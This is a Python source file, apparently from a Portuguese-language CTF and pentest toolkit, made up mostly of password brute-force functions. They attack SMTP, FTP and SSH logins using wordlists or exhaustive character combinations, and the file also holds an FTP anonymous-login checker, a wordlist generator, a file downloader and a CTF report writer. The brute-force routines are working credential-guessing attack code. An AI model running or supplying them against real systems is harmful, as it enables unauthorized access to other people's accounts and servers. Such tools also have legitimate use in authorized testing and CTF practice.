def connect_UDP(host, port, timeout): try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.settimeout(timeout) s.connect((host, port)) hp = str(host) + ":" + str(port) Debug.CRITICAL(f"conectado UDP => [{hp}]") except socket.error: hp = str(host) + ":" + str(port) Debug.AVISO(f"falha ao conectar => [{hp}]")
def smtp_brute_file(hostname, mail, port, filebr, verbose=""): with open(filebr, "r") as fl: for passw in fl: try: server_ssl = smtplib.SMTP_SSL(hostname, port=port) server_ssl.ehlo() server_ssl.login(mail, passw) Debug.INFO("sucesso => %s %s" % (mail, passw)) except smtplib.SMTPException: Debug.ERRO("%s %s" % (mail, passw))
def check_anonymous_login(hostname): try: ftp = FTP(hostname) ftp.login() Debug.CRITICAL("[+]Anonymous => [ok]") Debug.CRITICAL("[+]Username => [anonymous]") Debug.CRITICAL("[+]Pass => [anonymous]") ftp.quit() except: Debug.AVISO("[+]Anonymous off") pass
def escrever_encode16(arquivo, escrever): """ :info escrever no arquivo com base16 :param arquivo,escrever: :parameter arquivo => nome+caminho do arquivo :parameter escrever => escrever :return: arquivo + texto """ with open(arquivo, "w") as ll: encode = b16encode(bytes(escrever, 'utf-8')) decode = str(encode)[2:-1] ll.write(decode) Debug.CRITICAL("arquivo: " + arquivo) Debug.CRITICAL("escrita " + decode)
def ftp_brute_file(hostname, user, filebr, verbose=""): with open(filebr, "r") as fl: for passw in fl: try: FTP(hostname, user, passw) except ftplib.all_errors: Debug.ERRO("[+]senha errada => %s" % passw)
def smtp_brute_char(hostname, mail, port, minimo, maximo, char, verbose=""): min = minimo max = maximo chrs = char min_length, max_length = int(min), int(max) for n in range(min_length, max_length + 1): for xs in itertools.product(chrs, repeat=n): if verbose == True: passw = ''.join(xs) try: server_ssl = smtplib.SMTP_SSL(hostname, port=port) server_ssl.ehlo() server_ssl.login(mail, passw) Debug.INFO("sucesso => %s %s" % (mail, passw)) except smtplib.SMTPException: Debug.ERRO("%s %s" % (mail, passw))
def ssh_brute_file(hostname, user, filebr): with open(filebr, "r") as fl: for passw in fl: try: s = paramiko.SSHClient() s.set_missing_host_key_policy(paramiko.AutoAddPolicy()) s.load_system_host_keys() s.connect(hostname=hostname, username=user, password=passw) Debug.AVISO("[+] Success! %s => %s" % (user, passw)) break except socket.gaierror: Debug.ERRO("[+]HOST INVALIDO") break except paramiko.AuthenticationException: Debug.ERRO("[-] falha:%s => %s" % (user, passw)) except paramiko.ssh_exception.SSHException: Debug.ERRO("[+]SSHException") pass
def xor_bytes(b, key): if len(b) != len(key): Debug.INFO("len(a) != len(b)") if len(b) > len(key): return Convert.str_para_hex("".join( [chr(x ^ y) for (x, y) in zip(b[:len(key)], key)])) else: return Convert.str_para_hex("".join( [chr(x ^ y) for (x, y) in zip(b, key[:len(b)])]))
def escrever(arquivo, escrever): """ :info escrever no arquivo :param arquivo,escrever: :parameter arquivo => nome+caminho do arquivo :parameter escrever => escrever :return: arquivo + texto """ try: try: with open(arquivo, "w") as ll: ll.write(escrever) Debug.CRITICAL("arquivo: " + arquivo) Debug.CRITICAL("escreveu: " + escrever) except TypeError: print(TypeError) except THG_OSError: print("erro " + str(OSError))
def str_up_especial(min, max, word_list_name, verbose=True): chrs = 'abcdefghijklmnopqrstuvwxyz~@#$%^&*()_+=-][}{\|""/?.><,,'.upper() with open(word_list_name, "w") as fl: min_length, max_length = int(min), int(max) for n in range(min_length, max_length + 1): for xs in itertools.product(chrs, repeat=n): if verbose == True: dsa = fl.write(''.join(xs) + "\n") Debug.INFO(''.join(xs)) else: pass
def ftp_brute_char(hostname, user, minimo, maximo, char, verbose=""): min = minimo max = maximo chrs = char min_length, max_length = int(min), int(max) for n in range(min_length, max_length + 1): for xs in itertools.product(chrs, repeat=n): if verbose == True: passw = ''.join(xs) try: FTP(hostname, user, passw) except ftplib.all_errors: Debug.ERRO("[+]senha errada => %s" % passw)
def baixar(url, saida=""): """ :info metodo responsavel para baixar arquivos :param url,saida: :return: arquivo """ if url == None: print("[+]erro nao pode ser um argumento vazio") pass elif saida == None: print("local padrao [/tmp]") try: _local = "/tmp" arquivo = wget.download(url=url, out=_local) Debug.AVISO("Diretorio => [" + _local + "]") Debug.AVISO("Arquivo => [" + arquivo + "]") except Exception: pass else: local = saida arquivo = wget.download(url=url, out=local) Debug.AVISO("Diretorio => [" + local + "]") Debug.AVISO("Arquivo => [" + arquivo + "]")
def ssh_brute_char(hostname, user, minimo, maximo, char, verbose): min = minimo max = maximo chrs = char min_length, max_length = int(min), int(max) for n in range(min_length, max_length + 1): for xs in itertools.product(chrs, repeat=n): if verbose == True: passw = ''.join(xs) try: s = paramiko.SSHClient() s.set_missing_host_key_policy(paramiko.AutoAddPolicy()) s.load_system_host_keys() s.connect(hostname=hostname, username=user, password=passw) Debug.AVISO("[+] Success! %s => %s" % (user, passw)) break except socket.gaierror: Debug.ERRO("[+]HOST INVALIDO") break except paramiko.AuthenticationException: Debug.ERRO("[-] falha:%s => %s" % (user, passw)) except paramiko.ssh_exception.SSHException: Debug.ERRO("[+]SSHException") pass else: passw = ''.join(xs) try: s = paramiko.SSHClient() s.set_missing_host_key_policy(paramiko.AutoAddPolicy()) s.load_system_host_keys() s.connect(hostname=hostname, username=user, password=passw) Debug.AVISO("[+] Success! %s => %s" % (user, passw)) break except socket.gaierror: Debug.ERRO("[+]HOST INVALIDO") break except paramiko.AuthenticationException: Debug.ERRO("[-] falha:%s => %s" % (user, passw)) except paramiko.ssh_exception.SSHException: Debug.ERRO("[+]SSHException") pass
def Gera(minimo, maximo, char, nome, verbose=""): # validacao if minimo == 0: print("[erro]=[numero maior que zero ou nada]") pass if maximo == 0: print("[erro]=[numero maior que zero ou nada]") pass elif type(maximo) == "str": print("[erro]=[]") pass elif type(char) == "init": print("[erro]=[]") pass elif type(nome) == "int": print("[erro]=[]") pass elif type(minimo) == "str": print("[erro]=[]") pass word_list_name = nome min = minimo max = maximo chrs = char with open(word_list_name, "w") as fl: min_length, max_length = int(min), int(max) for n in range(min_length, max_length + 1): for xs in itertools.product(chrs, repeat=n): dsa = fl.write(''.join(xs) + "\n") if verbose == True: Debug.INFO(''.join(xs)) else: pass
def report(CTF_NOME, CTF_team, CTF_USER, CTF_challenges, CTF_challenges_PASTA, file_name, evento_nome, flag_pontos): Debug.CRITICAL("[+]criando relatorio") Debug.AVISO(f"CTF_NOME: {CTF_NOME} ") Debug.AVISO(f"CTF_TIME: {CTF_team} ") Debug.AVISO(f"CTF_USER: {CTF_USER} ") Debug.AVISO(f"CTF_TIPO: {CTF_challenges} ") Debug.AVISO(f"CTF_PASTA: {CTF_challenges_PASTA} ") Debug.AVISO(f"EVENTO_NOME: {evento_nome} ") Debug.AVISO(f"FLAG_PONTOS {flag_pontos} ") try: # Ele vai tentar criar a pasta brainiac_ctf_report, pasta CTF_challenges_PASTA e o nome do arquivo os.mkdir("../brainiac_ctf_report") # Cria pasta brainiac_ctf_report Debug.CRITICAL("[+] criando pasta => [brainiac_ctf_report]") os.mkdir(CTF_challenges_PASTA) # Cria pasta CTF_challenges_PASTA os.chdir(CTF_challenges_PASTA) # Entra na pasta CTF_challenges_PASTA Debug.CRITICAL(f"[+] CTF_challenges => [{CTF_challenges_PASTA}]") Debug.CRITICAL(f"[+] file_challenges => [{file_name}]") except FileExistsError: # Se a pasta brainiac_ctf_report existir ele entra na pasta os.chdir("../brainiac_ctf_report") # Entra na pasta brainiac_ctf_report try: # Tenta criar a pasta CTF_challenges_PASTA os.mkdir(CTF_challenges_PASTA) # Cria CTF_challenges_PASTA os.chdir(CTF_challenges_PASTA) # Entra CTF_challenges_PASTA Debug.CRITICAL(f"[+] CTF_challenges => [{CTF_challenges_PASTA}]") Debug.CRITICAL(f"[+] file_challenges => [{file_name}]") except FileExistsError: # Se a pasta CTF_challenges_PASTA existir os.chdir(CTF_challenges_PASTA) # Entra na pasta CTF_challenges_PASTA Debug.CRITICAL(f"[+] CTF_challenges => [{CTF_challenges_PASTA}]") Debug.CRITICAL(f"[+] file_challenges => [{file_name}]") with open(file_name, "w") as fl: ###Escreve logs no file_name fl.write("#" * 35) fl.write("\n" + "#" * 10 + "report" + "#" * 10) fl.write("\n" + "#" * 5 + "brainiac_report_info_ctf" + "#" * 6) fl.write("\n" + "#" * 35) fl.write("\n" + f"CTF_EVENTO: {evento_nome} ") fl.write("\n" + f"CTF_DATE: {today}") fl.write("\n" + f"CTF_PONTOS: {flag_pontos} ") fl.write("\n" + f"CTF_NOME: {CTF_NOME} ") fl.write("\n" + f"CTF_TIME: {CTF_team} ") fl.write("\n" + f"CTF_USER: {CTF_USER} ") fl.write("\n" + f"CTF_TIPO: {CTF_challenges} ") fl.write("\n" + f"CTF_PASTA: {CTF_challenges_PASTA} ") fl.close() os.system("nano " + file_name)